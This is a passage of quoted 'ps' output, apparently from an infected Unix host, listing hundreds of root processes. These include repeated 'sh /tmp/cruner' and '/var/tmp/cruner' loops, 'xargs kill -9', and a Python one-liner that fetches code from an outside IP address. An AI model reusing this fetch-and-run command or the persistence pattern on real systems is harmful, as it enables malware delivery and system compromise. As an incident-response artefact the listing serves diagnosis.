? 0:00 bash -sh > root 21083 18347 0 15:45:52 ? 0:00 bash -sh > root 25901 1447 0 15:45:47 ? 0:00 xargs kill -9 > root 7765 2123 0 15:45:31 ? 0:00 bash -sh > root 20537 10758 0 15:44:31 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9670 15593 0 15:44:51 ? 0:00 xargs kill -9 > root 21319 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 827 14558 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16672 28595 0 15:45:51 ? 0:00 bash -sh > root 1728 13044 0 15:44:22 ? 0:00 bash -sh > root 14902 27372 0 15:44:52 ? 0:00 bash -sh > root 11334 14008 0 15:45:15 ? 0:00 bash -sh > root 20181 17986 0 15:46:09 ? 0:00 sleep 60 > root 8379 12620 0 15:44:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8885 15470 0 15:45:28 ? 0:00 sleep 60 > root 6313 26395 0 15:46:03 ? 0:00 sleep 60 > root 10909 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 3755 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14651 17605 0 15:46:08 ? 0:00 bash -sh > root 18734 10462 0 15:45:37 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11394 18659 0 15:43:26 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16721 12334 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 28130 14531 0 - ? 0:00 <defunct> > root 20769 2902 0 15:45:17 ? 0:00 bash -sh > root 6117 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29523 29473 0 15:45:58 ? 0:00 sleep 60 > root 27111 3445 0 15:45:18 ? 0:00 sleep 60 > root 17818 11211 0 15:43:12 ? 0:00 bash -sh > root 14887 2271 0 15:44:16 ? 0:00 bash -sh > root 21875 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28725 1333 0 15:45:57 ? 0:00 bash -sh > root 4668 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1321 12432 0 15:45:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22536 9937 0 15:45:06 ? 0:00 bash -sh > root 5467 15352 0 15:45:31 ? 0:00 sleep 60 > root 8173 10334 0 15:44:38 ? 0:00 bash -sh > root 17554 11179 0 15:43:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3684 6645 0 - ? 0:00 <defunct> > root 342 6698 0 15:43:50 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27177 14291 0 15:45:57 ? 0:00 sleep 60 > root 29876 2905 0 - ? 0:00 <defunct> > root 13151 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10960 11476 0 15:46:12 ? 0:00 bash -sh > root 13991 11937 0 - ? 0:00 <defunct> > root 5217 1767 0 15:45:04 ? 0:00 bash -sh > root 17698 1 0 10:01:51 ? 0:00 sh /var/tmp/cruner > root 9364 8542 0 - ? 0:00 <defunct> > root 27690 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21553 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 14181 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9273 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 10359 10344 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10432 22334 0 15:46:12 ? 0:00 xargs kill -9 > root 2280 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 10202 27865 0 - ? 0:00 <defunct> > root 24903 6402 0 15:46:05 ? 0:00 sleep 60 > root 29616 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17701 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 15216 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12591 12576 0 15:46:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18408 25336 0 - ? 0:00 <defunct> > root 24620 2009 0 15:46:05 ? 0:00 sleep 60 > root 28483 23741 0 15:45:23 ? 0:00 bash -sh > root 27538 16650 0 15:45:18 ? 0:00 sleep 60 > root 406 24149 0 15:45:39 ? 0:00 bash -sh > root 25278 22394 0 15:46:10 ? 0:00 sleep 60 > root 11328 5233 0 15:45:50 ? 0:00 bash -sh > root 3029 3025 0 15:43:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24576 26802 0 15:42:37 ? 0:00 bash -sh > root 26537 16342 0 15:43:15 ? 0:00 bash -sh > root 26168 27398 0 15:45:34 ? 0:00 bash -sh > root 27787 18670 0 15:45:18 ? 0:00 sleep 60 > root 16809 457 0 - ? 0:00 <defunct> > root 11915 16731 0 15:45:59 ? 0:00 bash -sh > root 8699 21693 0 - ? 0:00 <defunct> > root 6665 6594 0 15:44:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24640 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18486 5521 0 15:45:51 ? 0:00 sleep 60 > root 8130 25197 0 15:45:36 ? 0:00 bash -sh > root 14970 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 766 17553 0 15:43:50 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16548 17956 0 - ? 0:00 <defunct> > root 8883 146 0 15:45:36 ? 0:00 bash -sh > root 28382 5598 0 15:44:37 ? 0:00 bash -sh > root 29147 1101 0 15:45:34 ? 0:00 sleep 60 > root 23275 12008 0 15:46:01 ? 0:00 sh /var/tmp/cruner > root 21630 3281 0 - ? 0:00 <defunct> > root 14920 18406 0 15:46:08 ? 0:00 awk {print $7} > root 1402 16661 0 15:45:27 ? 0:00 sleep 60 > root 5269 15379 0 15:45:28 ? 0:00 sleep 60 > root 15454 4487 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 8563 5484 0 15:46:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26479 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7642 5265 0 15:44:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5686 21188 0 - ? 0:00 <defunct> > root 27506 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 27906 540 0 - ? 0:00 <defunct> > root 15920 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6683 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27296 13901 0 15:44:59 ? 0:00 bash -sh > root 22223 24801 0 - ? 0:00 <defunct> > root 17820 29011 0 15:45:42 ? 0:00 bash -sh > root 17938 28190 0 15:43:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4130 1865 0 - ? 0:00 <defunct> > root 28314 28298 0 15:44:21 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9912 8797 0 - ? 0:00 <defunct> > root 3424 24033 0 - ? 0:00 <defunct> > root 23989 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3851 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12925 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17574 28287 0 - ? 0:00 <defunct> > root 2895 22316 0 - ? 0:00 <defunct> > root 29460 19894 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 26337 10598 0 15:45:43 ? 0:00 sleep 60 > root 26504 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28533 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 751 1891 0 15:45:31 ? 0:00 bash -sh > root 4020 1936 0 - ? 0:00 <defunct> > root 13885 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10135 8973 0 15:42:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7410 7405 0 15:45:58 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12129 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 235 10649 0 - ? 0:00 <defunct> > root 18989 4663 0 15:46:09 ? 0:00 bash -sh > root 22562 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4480 2214 0 15:44:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1022 12963 0 15:46:02 ? 0:00 sleep 60 > root 18942 28691 0 15:44:31 ? 0:00 bash -sh > root 21291 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 14678 19142 0 15:45:55 ? 0:00 sh /var/tmp/cruner > root 21250 11802 0 15:45:42 ? 0:00 bash -sh > root 1356 16422 0 - ? 0:00 <defunct> > root 21466 9252 0 - ? 0:00 <defunct> > root 9003 29007 0 15:45:15 ? 0:00 sleep 60 > root 4751 2167 0 15:44:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19714 6026 0 - ? 0:00 <defunct> > root 17187 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21874 8706 0 15:46:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28726 14269 0 - ? 0:00 <defunct> > root 2143 1936 0 - ? 0:00 <defunct> > root 14746 26629 0 - ? 0:00 <defunct> > root 18964 12949 0 15:44:17 ? 0:00 bash -sh > root 23462 5897 0 - ? 0:00 <defunct> > root 8306 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26388 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 25131 26566 0 - ? 0:00 <defunct> > root 9633 28177 0 15:45:59 ? 0:00 bash -sh > root 23211 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23049 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 26014 12524 0 15:45:53 ? 0:00 bash -sh > root 7125 16977 0 - ? 0:00 <defunct> > root 23529 5550 0 15:45:13 ? 0:00 sh /var/tmp/cruner > root 12439 27664 0 15:46:08 ? 0:00 sed -e s/\/.*//g > root 22355 26608 0 15:45:42 ? 0:00 bash -sh > root 8914 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 89 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10272 20457 0 15:45:59 ? 0:00 sleep 60 > root 27556 18393 0 - ? 0:00 <defunct> > root 10288 3926 0 15:46:12 ? 0:00 sleep 60 > root 7925 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 9541 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5015 8325 0 15:45:28 ? 0:00 bash -sh > root 14485 24827 0 15:46:13 ? 0:00 bash -sh > root 24982 24966 0 15:45:33 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21786 16520 0 15:45:57 ? 0:00 sleep 60 > root 750 22922 0 15:45:24 ? 0:00 sleep 60 > root 9044 18318 0 15:45:10 ? 0:00 bash -sh > root 1726 2070 0 15:45:35 ? 0:00 xargs kill -9 > root 5254 11184 0 15:43:25 ? 0:00 bash -sh > root 19608 22018 0 - ? 0:00 <defunct> > root 7849 6733 0 15:45:58 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8575 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2381 2153 0 15:46:06 ? 0:00 sleep 60 > root 15910 8014 0 - ? 0:00 <defunct> > root 27776 11192 0 15:46:02 ? 0:00 sh /tmp/cruner > root 4886 9588 0 - ? 0:00 <defunct> > root 21242 8913 0 15:43:52 ? 0:00 bash -sh > root 10750 11260 0 15:46:12 ? 0:00 bash -sh > root 21986 19280 0 15:43:45 ? 0:00 bash -sh > root 18138 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 27880 4367 0 15:45:07 ? 0:00 bash -sh > root 22751 21323 0 15:46:09 ? 0:00 sleep 60 > root 27432 5301 0 15:43:41 ? 0:00 bash -sh > root 1204 5394 0 15:45:48 ? 0:00 sleep 60 > root 6862 22240 0 15:45:09 ? 0:00 sh /tmp/cruner > root 18847 13830 0 15:45:51 ? 0:00 sleep 60 > root 1786 14522 0 15:46:02 ? 0:00 sleep 60 > root 24591 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17506 11515 0 - ? 0:00 <defunct> > root 22179 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26395 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25978 1 0 21:58:36 ? 0:00 sh /var/tmp/cruner > root 15802 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 18235 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 29336 29331 0 15:44:21 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6296 3006 0 15:45:20 ? 0:00 sleep 60 > root 29929 10309 0 15:45:58 ? 0:00 sleep 60 > root 22942 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 19531 14960 0 15:46:09 ? 0:00 sleep 60 > root 4377 25393 0 15:46:06 ? 0:00 sleep 60 > root 2248 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5752 23613 0 - ? 0:00 <defunct> > root 24572 18442 0 - ? 0:00 <defunct> > root 20662 2260 0 15:45:17 ? 0:00 sleep 60 > root 1778 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26510 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8282 14591 0 - ? 0:00 <defunct> > root 24819 24777 0 - ? 0:00 <defunct> > root 15423 6205 0 15:45:51 ? 0:00 bash -sh > root 25611 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11878 7286 0 - ? 0:00 <defunct> > root 3874 15586 0 15:45:19 ? 0:00 sleep 60 > root 15545 24074 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 20768 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 10438 19869 0 15:45:10 ? 0:00 bash -sh > root 27254 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7862 9074 0 15:45:04 ? 0:00 bash -sh > root 25358 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26044 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29230 1343 0 - ? 0:00 <defunct> > root 24290 17323 0 15:46:01 ? 0:00 sleep 60 > root 954 12833 0 15:45:58 ? 0:00 sleep 60 > root 20721 26427 0 15:44:18 ? 0:00 bash -sh > root 12011 11714 0 15:46:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5725 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29801 1214 0 15:45:18 ? 0:00 sleep 60 > root 16265 16444 0 15:45:26 ? 0:00 bash -sh > root 13925 14439 0 15:45:50 ? 0:00 sleep 60 > root 27528 10490 0 15:45:18 ? 0:00 sleep 60 > root 18781 24879 0 - ? 0:00 <defunct> > root 5103 16422 0 - ? 0:00 <defunct> > root 25382 27401 0 15:45:13 ? 0:00 bash -sh > root 28326 76 0 15:45:18 ? 0:00 sleep 60 > root 5792 25423 0 15:46:06 ? 0:00 sleep 60 > root 13236 13235 0 15:46:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7037 145 0 15:46:07 ? 0:00 bash -sh > root 18744 24805 0 - ? 0:00 <defunct> > root 26418 416 0 15:45:30 ? 0:00 bash -sh > root 5950 26006 0 - ? 0:00 <defunct> > root 10440 16068 0 15:45:32 ? 0:00 sleep 60 > root 6758 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29802 27417 0 15:44:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25503 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1591 13441 0 15:45:14 ? 0:00 bash -sh > root 7543 1 0 20:07:20 ? 0:00 sh /var/tmp/cruner > root 3476 788 0 15:45:44 ? 0:00 sleep 60 > root 22112 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4363 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17001 5615 0 15:46:00 ? 0:00 bash -sh > root 8262 8511 0 15:45:40 ? 0:00 bash -sh > root 29747 12052 0 15:45:18 ? 0:00 sleep 60 > root 20094 18392 0 15:45:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18506 9334 0 15:46:09 ? 0:00 sleep 60 > root 1751 16000 0 15:46:02 ? 0:00 sleep 60 > root 29940 15656 0 15:45:34 ? 0:00 sleep 60 > root 16083 21561 0 15:46:08 ? 0:00 sh /tmp/cruner > root 3451 15360 0 15:45:40 ? 0:00 bash -sh > root 1864 9373 0 15:46:02 ? 0:00 sleep 60 > root 16496 11701 0 15:44:25 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22304 19744 0 15:43:22 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10504 16663 0 15:45:36 ? 0:00 bash -sh > root 14602 11287 0 - ? 0:00 <defunct> > root 14018 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15536 15514 0 15:44:16 ? 0:00 bash -sh > root 16504 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15473 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6512 20438 0 15:45:20 ? 0:00 sleep 60 > root 18632 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14385 23437 0 15:46:08 ? 0:00 sleep 60 > root 6787 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28019 27089 0 - ? 0:00 <defunct> > root 9192 9181 0 15:45:15 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3820 3776 0 - ? 0:00 <defunct> > root 26143 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2503 9037 0 15:44:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22957 20723 0 15:45:23 ? 0:00 sleep 60 > root 11187 6709 0 - ? 0:00 <defunct> > root 24221 6303 0 15:43:14 ? 0:00 bash -sh > root 15535 224 0 15:45:56 ? 0:00 bash -sh > root 12444 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 2174 11858 0 - ? 0:00 <defunct> > root 1201 17744 0 - ? 0:00 <defunct> > root 12216 12175 0 - ? 0:00 <defunct> > root 14447 7124 0 15:43:56 ? 0:00 bash -sh > root 4615 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10918 1698 0 - ? 0:00 <defunct> > root 3800 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 10064 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13852 14556 0 - ? 0:00 <defunct> > root 26844 28667 0 15:45:07 ? 0:00 bash -sh > root 19740 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7706 28315 0 - ? 0:00 <defunct> > root 14459 13393 0 15:44:16 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16364 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 8945 17612 0 - ? 0:00 <defunct> > root 6921 21742 0 - ? 0:00 <defunct> > root 8074 21498 0 15:45:49 ? 0:00 bash -sh > root 5102 4391 0 - ? 0:00 <defunct> > root 1041 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 18540 3042 0 15:46:09 ? 0:00 sleep 60 > root 991 10287 0 15:45:53 ? 0:00 sleep 60 > root 16229 25682 0 15:46:00 ? 0:00 sleep 60 > root 1697 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6715 29407 0 15:45:35 ? 0:00 bash -sh > root 7397 9466 0 15:45:09 ? 0:00 sh /var/tmp/cruner > root 18041 130 0 15:46:13 ? 0:00 sh /var/tmp/cruner > root 22350 5682 0 15:45:57 ? 0:00 sleep 60 > root 3523 26612 0 15:45:19 ? 0:00 sleep 60 > root 27736 27705 0 15:43:41 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2288 1223 0 15:44:11 ? 0:00 bash -sh > root 14685 14635 0 15:45:45 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5334 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 329 25695 0 15:45:27 ? 0:00 sleep 60 > root 28445 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 18236 809 0 15:46:13 ? 0:00 bash -sh > root 20425 11910 0 - ? 0:00 <defunct> > root 17131 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6664 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 21361 18894 0 15:45:42 ? 0:00 /bin/ksh -p /bin/kill -9 > root 4792 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13378 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11349 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 22458 22453 0 15:46:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16400 15645 0 15:43:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 874 16319 0 15:39:55 ? 0:00 bash -sh > root 17512 23583 0 - ? 0:00 <defunct> > root 12921 14684 0 15:46:08 ? 0:00 sleep 60 > root 9695 12902 0 15:45:50 ? 0:00 sleep 60 > root 25886 25864 0 15:46:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 924 15819 0 15:45:31 ? 0:00 sleep 60 > root 18742 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27103 10820 0 15:46:10 ? 0:00 bash -sh > root 13011 3338 0 15:44:04 ? 0:00 bash -sh > root 773 5943 0 15:45:44 ? 0:00 bash -sh > root 7492 13730 0 - ? 0:00 <defunct> > root 14476 13313 0 15:45:21 ? 0:00 bash -sh > root 6362 5958 0 15:45:35 ? 0:00 bash -sh > root 3105 10024 0 15:45:48 ? 0:00 bash -sh > root 23815 18290 0 15:44:36 ? 0:00 bash -sh > root 1799 1 0 01:20:40 ? 0:00 sh /var/tmp/cruner > root 5562 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11105 26825 0 15:45:59 ? 0:00 bash -sh > root 25739 5851 0 15:46:05 ? 0:00 sleep 60 > root 10462 22402 0 15:45:36 ? 0:00 bash -sh > root 18444 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5906 29124 0 15:44:42 ? 0:00 bash -sh > root 28551 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13874 6711 0 15:44:52 ? 0:00 bash -sh > root 1397 16753 0 15:44:11 ? 0:00 bash -sh > root 5431 6973 0 15:45:20 ? 0:00 bash -sh > root 11167 14655 0 15:45:10 ? 0:00 bash -sh > root 12192 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13941 19892 0 15:44:52 ? 0:00 bash -sh > root 8064 9419 0 - ? 0:00 <defunct> > root 23608 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25479 20456 0 15:45:39 ? 0:00 bash -sh > root 24686 22071 0 15:45:17 ? 0:00 sleep 60 > root 7450 24550 0 15:45:40 ? 0:00 xargs kill -9 > root 11661 23411 0 15:44:15 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10089 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17098 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 23100 20574 0 - ? 0:00 <defunct> > root 382 1948 0 15:45:58 ? 0:00 sleep 60 > root 5794 16095 0 15:46:06 ? 0:00 sleep 60 > root 8334 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 7459 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5811 9350 0 - ? 0:00 <defunct> > root 7731 7519 0 15:46:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13249 13020 0 15:46:13 ? 0:00 /bin/ksh -p /bin/kill -9 > root 7041 23915 0 15:43:31 ? 0:00 bash -sh > root 23716 947 0 15:45:57 ? 0:00 xargs kill -9 > root 5766 12850 0 - ? 0:00 <defunct> > root 7777 11408 0 15:45:54 ? 0:00 sleep 60 > root 4530 8190 0 - ? 0:00 <defunct> > root 7958 9515 0 15:45:58 ? 0:00 sleep 60 > root 2315 6042 0 15:45:31 ? 0:00 sleep 60 > root 8317 10200 0 - ? 0:00 <defunct> > root 12305 12547 0 15:45:59 ? 0:00 sleep 60 > root 26097 26070 0 15:45:39 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5722 6977 0 15:43:25 ? 0:00 bash -sh > root 24412 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14277 3876 0 - ? 0:00 <defunct> > root 17006 13849 0 15:44:57 ? 0:00 bash -sh > root 6171 25862 0 - ? 0:00 <defunct> > root 10685 7195 0 - ? 0:00 <defunct> > root 23588 19128 0 15:45:47 ? 0:00 sleep 60 > root 23465 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11760 15553 0 15:45:25 ? 0:00 sleep 60 > root 18188 15012 0 15:44:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2117 7459 0 15:45:48 ? 0:00 sleep 60 > root 3359 9965 0 - ? 0:00 <defunct> > root 26922 1 0 20:04:56 ? 0:00 sh /var/tmp/cruner > root 21733 29311 0 15:44:53 ? 0:00 bash -sh > root 18475 16535 0 15:45:33 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11668 289 0 - ? 0:00 <defunct> > root 21912 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4059 10780 0 - ? 0:00 <defunct> > root 202 5810 0 15:45:18 ? 0:00 sleep 60 > root 26290 21696 0 15:45:43 ? 0:00 sleep 60 > root 21887 8899 0 15:45:06 ? 0:00 bash -sh > root 14782 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5514 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4013 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13402 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13195 7423 0 15:45:59 ? 0:00 /bin/ksh -p /bin/kill -9 > root 2998 2983 0 15:45:35 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17211 15262 0 15:45:12 ? 0:00 bash -sh > root 20569 9636 0 15:44:07 ? 0:00 bash -sh > root 16581 21992 0 - ? 0:00 <defunct> > root 19132 26537 0 - ? 0:00 <defunct> > root 6852 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17778 6245 0 15:45:42 ? 0:00 bash -sh > root 26822 2183 0 15:45:03 ? 0:00 bash -sh > root 3409 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19666 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 4709 29594 0 - ? 0:00 <defunct> > root 1240 9246 0 - ? 0:00 <defunct> > root 25766 9988 0 - ? 0:00 <defunct> > root 26551 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19545 24165 0 15:45:33 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21188 14638 0 15:43:13 ? 0:00 bash -sh > root 14031 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16210 6629 0 15:44:57 ? 0:00 bash -sh > root 8919 24247 0 15:46:07 ? 0:00 sleep 60 > root 17294 4436 0 15:46:00 ? 0:00 bash -sh > root 12415 10990 0 15:46:08 ? 0:00 awk {print $7} > root 2543 6551 0 15:46:06 ? 0:00 sleep 60 > root 15036 17174 0 15:43:11 ? 0:00 bash -sh > root 16312 11220 0 15:44:25 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20605 20598 0 15:44:48 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5773 25346 0 - ? 0:00 <defunct> > root 9628 23306 0 15:45:41 ? 0:00 sh /var/tmp/cruner > root 14756 14648 0 15:46:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16747 4263 0 15:46:13 ? 0:00 bash -sh > root 15902 19876 0 15:45:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4578 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25533 23490 0 15:44:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13479 8103 0 15:46:13 ? 0:00 sleep 60 > root 21552 20889 0 15:45:56 ? 0:00 xargs kill -9 > root 18057 17029 0 15:46:09 ? 0:00 /bin/ksh -p /bin/kill -9 > root 3337 2981 0 15:46:06 ? 0:00 sleep 60 > root 3781 24296 0 15:45:58 ? 0:00 sleep 60 > root 16085 12127 0 15:46:08 ? 0:00 sh /var/tmp/cruner > root 3666 25965 0 15:45:40 ? 0:00 bash -sh > root 22734 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 18512 12426 0 - ? 0:00 